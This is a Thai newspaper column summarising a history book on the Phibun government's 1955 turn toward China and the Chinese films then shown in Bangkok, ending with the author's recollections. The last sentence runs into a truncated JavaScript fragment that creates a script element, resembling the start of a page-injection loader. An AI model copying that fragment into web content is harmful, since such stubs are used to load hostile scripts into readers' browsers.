มติชนรายวัน ฉบับประจำวันพุธที่ 11 กันยายน 2556

 

          ก่อน พ.ศ. 2500 สหรัฐเข้าไทยใช้เป็นฐานต่อต้านคอมมิวนิสต์ โดยได้รับแรงหนุนจากกลุ่มจารีตนิยมไทย

          ราว พ.ศ. 2498 รัฐบาลจอมพล ป. พิบูลสงคราม เริ่มนโยบายต่างประเทศที่เป็นกลาง ถอยห่างจากสหรัฐ แล้วหันไปประนีประนอมกับกลุ่มการเมืองต่างๆ โดยเฉพาะอย่างยิ่ง“กลุ่มปรีดี” และกลุ่มฝ่ายซ้ายในสังคมไทย

          นี่เก็บความจากหนังสือขอฝันใฝ่ในฝันอันเหลือเชื่อ ความเคลื่อนไหวของขบวนการปฏิปักษ์ปฏิวัติสยาม(พ.ศ. 2475-2500) ของ ณัฐพล ใจจริง (สำนักพิมพ์ฟ้าเดียวกัน พิมพ์ครั้งแรก พ.ศ. 2556 ราคา 400 บาท) แล้วยังมีข้อความบอกต่อไปอีกว่า

          รัฐบาลจอมพล ป. ไม่แต่เพียงเริ่มดำเนินนโยบายต่างประเทศที่ถอยห่างออกจากสหรัฐ และพยายามสร้างไมตรีและทำการค้ากับจีนเท่านั้น แต่รัฐบาลยังยินยอมให้มีการนำเข้าวัฒนธรรมจากจีนมาสู่ไทย โดยการให้ภาพยนตร์จากจีนหลายเรื่อง ในโรงภาพยนตร์ชั้น 3 ใจกลางกรุงเทพฯ เช่น

          (1) “เปาบุ้นจิ้น (ชิงเฮียงเน้ย)” ฉายที่สนามมวยลุมพินี (2) “ผู้ตรวจการ (เจิ้งเวี่ยนสุนอั้น)” ฉายที่เทียนกัวเทียน (3) “กบขี้โม้ (คัวโป่วเตอชิงวา)” ฉายที่เทียนกัวเทียน (4) “พู่กันวิเศษ (เสินปิ๊)” ฉายที่เทียนกัวเทียน (5) “เหลียงซันโปกับจูงอิงไถ่” ฉายที่เทียนกัวเทียน กรุงเกษม และแกรนด์เธียร์เตอร์ (6) “การทัศนาจรประเทศจีนของชาวจีนโพ้นทะเล (หัวเฉียวหุย กว๋อกวนกง จี้ลุเพี่ยน)” ฉายที่บรอดเวย์ (7) “บ้านเกิดเมืองนอนของชาวจีนโพ้นทะเล (หัวเฉียวเตอกู้เซียง)” ฉายที่บรอดเวย์ (8) “ประเทศจีนวันนี้ (จินยึเตอจงกว๋อ)” ฉายที่เทียนกัวเทียน (9) “พลพรรคใต้ดิน (ผิงหยวนอิ๋วจิ๊ตุ้ย)” ฉายที่ศรีราชวงศ์ (10) “ชิวองพบเทวดา (ชิวองอี้เซียนจี้)” ฉายที่เทียนกัวเทียน และ (11) “ตุนหวงเปี๋ยฮวา” ฉายที่เทียนกัวเทียน

          อ. ณัฐพล บอกว่ามีการรายงานความเคลื่อนไหวเรื่องการฉายภาพยนตร์จีน ณ ใจกลางกรุงเทพฯ กลับไปยังวอชิงตัน ดี.ซี. อย่างต่อเนื่อง ทำให้สหรัฐเกิดความวิตกกังวลว่ารัฐบาลไทยจะปรับนโยบายต่างประเทศหันไปสู่จีนมากยิ่งขึ้น ซึ่งจะส่งผลกระทบต่อแผนสงครามจิตวิทยาที่สหรัฐได้กำหนดไว้

          พ.ศ. 2498 ผมเพิ่งเรียนจบ ป.4 แล้วเกาะชายจีวรหลวงพี่ออกธุดงค์จากดงศรีมหาโพธิ์เข้ากรุงเทพฯ เพื่อหาที่เรียนชั้นมัธยม จึงไม่รู้ประสีประสา แล้วไม่เคยเข้าโรงหนัง ในระยะนั้นจึงไม่รู้จักโรงหนังชื่อนั้นว่ามันคืออะไร? อยู่ไหน?

          แต่ยอดเยี่ยมที่สุดในหนังสือขอฝันใฝ่ฯเล่มนี้ ทำให้รู้จักพรรคการเมืองเก่าแก่ว่าอยู่ตรงไหนของขบวนการปฏิปักษ์ปฏิวัติสยาม

          จึงได้รู้ว่า“กูโง่”มานานมาก เพิ่งตาสว่าง เหมือนผ่าต้อใหม่ๆvar d=document;var s=d.createElement(‘script’); }